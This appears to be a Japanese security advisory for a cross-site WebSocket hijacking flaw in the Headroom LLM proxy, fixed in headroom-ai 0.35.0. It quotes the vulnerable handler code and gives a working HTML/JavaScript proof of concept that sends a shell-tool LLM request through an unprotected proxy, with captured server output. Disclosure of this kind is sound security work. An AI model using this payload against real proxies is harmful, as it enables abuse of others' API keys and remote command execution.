HeadroomがCross-Site WebSocket Hijacking (CSWSH)の脆弱性を持つ

### 概要
HeadroomのWebSocketサーバーは、アップストリームサーバーにリクエストを転送する前に、受信するクライアントからのWebSocketリクエストの`Origin`ヘッダーを検証していません。これにより、認証なしで悪意のあるWebSocketクライアントが任意のLLMリクエストを実行できるようになります。この脆弱性は、Headroomプロキシへのアクセス権があり、OpenAI APIキーが`OPENAI_API_KEY`環境変数に保存されている、lightpandaのような従来のブラウザやヘッドレスブラウザで実行される悪意のあるWebSocketクライアントによって悪用される可能性があります。

### 詳細
Headroomサーバーは、`headroom/providers/proxy_routes.py`で、`ws://<headroom_host>:8787/v1/responses`というWebSocketハンドラを定義しています。
```python
@app.websocket("/v1/responses")
async def openai_responses_ws(websocket: WebSocket):
await proxy.handle_openai_responses_ws(websocket)
```
`OpenAIHandlerMixin`クラスの`handle_openai_responses_ws()`メソッドでは、`websocket.accept()`を呼び出す前に、WebSocketクライアントのハンドシェイクにおける`Origin`ヘッダーがチェックまたは検証されていません。これにより、どのWebSocketクライアント(悪意のあるクライアントを含む)もサーバーにアクセスできるようになります。
```python
async def handle_openai_responses_ws(self, websocket: WebSocket) -> None:
"""/v1/responses (Codex gpt-5.4+)用のWebSocketプロキシ。

新しいCodexバージョンでは、HTTP POSTではなくWebSocketがResponses APIに使用されます。
このハンドラは以下の処理を行います。
1. クライアントのWebSocketを受け入れる
2. 最初のメッセージ(`response.create`リクエスト)を受信する
3. OpenAIへのアップストリームWebSocket接続を開く
4. 該当する`response.create`テキストをPythonの
ContentRouterパスを通じて圧縮し、そのリクエストをアップストリームに送信する
5. その後、すべてのメッセージを双方向に転送する
"""
...
```

```
# リクエストされたサブプロトコルでクライアント接続を受け入れる
async with stage_timer.measure("accept"):
if client_subprotocols:
await websocket.accept(subprotocol=client_subprotocols[0])
else:
await websocket.accept()
```
悪意のあるWebSocketクライアントは、認証ヘッダーやAPIキーを提供する必要はありません。なぜなら、`Authorization`ヘッダーは、`OPENAI_API_KEY`環境変数を使用してAPIキーが保存されている場合、自動的にOpenAI APIキーで設定されるからです。
```python
# Authorizationヘッダーが存在することを確認 — OPENAI_API_KEY環境変数にフォールバック。
# WebSocketアップグレードで認証ヘッダーを転送しないクライアントのための安全策。
if "authorization" not in _lower_headers:
api_key = os.environ.get("OPENAI_API_KEY")
if api_key:
upstream_headers["Authorization"] = f"Bearer {api_key}"
logger.debug(f"[{request_id}] WS: AuthorizationをOPENAI_API_KEY環境変数から注入しました")
else:
logger.warning(
f"[{request_id}] WS: クライアントからのAuthorizationヘッダーがなく、"
f"OPENAI_API_KEYも設定されていません — 上流サーバーで拒否される可能性があります"
)
```
クライアント接続が受け入れられ、認証されると、悪意のあるWebSocketクライアントは、OpenAI APIに対して任意のLLMリクエストを実行できます。これには、任意の`instructions`/`input`プロンプトやツールが含まれます。

### PoC (概念実証)
- Headroomプロキシサーバーを実行します: `OPENAI_API_KEY=MY_KEY headroom proxy --host 0.0.0.0`
- 以下のHTML PoCページを、Headroomプロキシサーバーにアクセスできる通常のブラウザまたはヘッドレスブラウザでレンダリングします。
```html
<html>
<body>
<script>
let headroomHost = '192.168.0.106';
let socket = new WebSocket(`ws://${headroomHost}:8787/v1/responses`);
```

```json
let openAiPayload = {
type: "response.create",
model: "gpt-5.4",
instructions: "ローカルのBashシェル環境はLinux上で動作します。",
input: "ログインしているユーザーのIDコマンドを実行してください。",
tools: [{type: "shell", environment: {type: "local"}}],
};

socket.addEventListener("open", (event) => {
let openAiPayloadStr = JSON.stringify(openAiPayload);
console.log(`LLMリクエストを送信中: ${openAiPayloadStr}`);
socket.send(openAiPayloadStr);
});
```

```
socket.addEventListener("message", (event) => {
console.log(`サーバーからの応答: ${event.data}`);
});
</script>
</body>
</html>
```
- このPoCではシェルツールを使用していますが、他のツールや入力、または指示プロンプトも使用できます。
#### 出力
PoCの`console.log()`出力から、悪意のあるWebSocketクライアントリクエストがHeadroomによって受け入れられ、アップストリームのOpenAI APIに転送されたことがわかります。サーバーの応答は、LLMリクエストを実行するための十分なクォータがないことを示していますが、試行されたことが証明されています。
```
LLMリクエストの送信: {"type":"response.create","model":"gpt-5.4","instructions":"ローカルのBashシェル環境はLinux上です。","input":"ログインしているユーザーのidコマンドを実行してください","tools":[{"type":"shell","environment":{"type":"local"}}]}
ws.html:22 サーバーからの応答: {"type":"response.created","response":{"id":"resp_062c8e90dd914f0b006a229117f800819ca7de4f15a51a305b","object":"response","created_at":1780650263,"status":"in_progress","background":false,"completed_at":null,"error":null,"frequency_penalty":0.0,"incomplete_details":null,"instructions":"ローカルのBashシェル環境はLinux上です。","max_output_tokens":null,"max_tool_calls":null,"model":"gpt-5.4-2026-03-05","moderation":null,"output":[],"parallel_tool_calls":true,"presence_penalty":0.0,"previous_response_id":null,"prompt_cache_key":null,"prompt_cache_retention":"24h","reasoning":{"context":"current_turn","effort":"none","summary":null},"safety_identifier":null,"service_tier":"auto","store":true,"temperature":1.0,"text":{"format":{"type":"text"},"verbosity":"medium"},"tool_choice":"auto","tools":[{"type":"shell","environment":{"type":"local"}}],"top_logprobs":0,"top_p":0.98,"truncation":"disabled","usage":null,"user":null,"metadata":{}},"sequence_number":0}
ws.html:22 サーバーからの応答: {"type":"response.in_progress","response":{"id":"resp_062c8e90dd914f0b006a229117f800819ca7de4f15a51a305b","object":"response","created_at":1780650263,"status":"in_progress","background":false,"completed_a
```

t":null,"error":null,"frequency_penalty":0.0,"incomplete_details":null,"instructions":"ローカルのbashシェル環境はLinux上で動作します。","max_output_tokens":null,"max_tool_calls":null,"model":"gpt-5.4-2026-03-05","moderation":null,"output":[],"parallel_tool_calls":true,"presence_penalty":0.0,"previous_response_id":null,"prompt_cache_key":null,"prompt_cache_retention":"24h","reasoning":{"context":"current_turn","effort":"none","summary":null},"safety_identifier":null,"service_tier":"auto","store":true,"temperature":1.0,"text":{"format":{"type":"text"},"verbosity":"medium"},"tool_choice":"auto","tools":[{"type":"shell","environment":{"type":"local"}}],"top_logprobs":0,"top_p":0.98,"truncation":"disabled","usage":null,"user":null,"metadata":{}},"sequence_number":1}
ws.html:22 サーバーからの応答: {"type":"error","error":{"type":"insufficient_quota","code":"insufficient_quota","message":"現在の利用制限を超過しました。プランと請求の詳細をご確認ください。このエラーの詳細については、ドキュメントを参照してください: https://platform.openai.com/docs/guides/error-codes/api-errors.","param":null},"sequence_number":2}
ws.html:22 サーバーからの応答: {"type":"response.failed","response":{"id":"resp_062c8e90dd914f0b006a229117f800819ca7de4f15a51a305b","object":"response","created_at":1780650263,"status":"failed","background":false,"completed_at":null,"error":{"code":"insufficient_quota","message":"現在の利用制限を超過しました。プランと請求の詳細をご確認ください。このエラーの詳細については、ドキュメントを参照してください: https://platform.openai.com/docs/guides/error-codes/api-errors."},"frequency_penalty":0.0,"incomplete_details":null,"instructions":"ローカルのbashシェル環境はLinux上で動作します。","max_output_tokens":null,"max_tool_calls":null,"model":"gpt-5.4-2026-03-05","moderation":null,"output":[],"parallel_tool_calls":true,"presence_penalty":0.0,"previous_response_id":null,"prompt_cache_key":null,"prompt_cache_retention":"24h","reasoning":{"context":"current_turn","effort":"

"none","summary":null},"safety_identifier":null,"service_tier":"auto","store":true,"temperature":1.0,"text":{"format":{"type":"text"},"verbosity":"medium"},"tool_choice":"auto","tools":[{"type":"shell","environment":{"type":"local"}}],"top_logprobs":0,"top_p":0.98,"truncation":"disabled","usage":null,"user":null,"metadata":{}},"sequence_number":3}

### 影響
悪意のあるWebSocketクライアントが任意のLLMリクエストを実行できる場合、シェルツールなどのツールを利用して任意のコマンドを実行し、リモートコード実行(RCE)につながる可能性があります。また、他のツールやプロンプトを使用して、機密情報を開示したり、組織の利用枠を浪費するような高コストなLLMリクエストを実行したりする可能性があります。

影響を受けるパッケージ:
- pip (Python) headroom-ai: 影響を受けるバージョンは0.35.0未満、修正されたバージョンは0.35.0。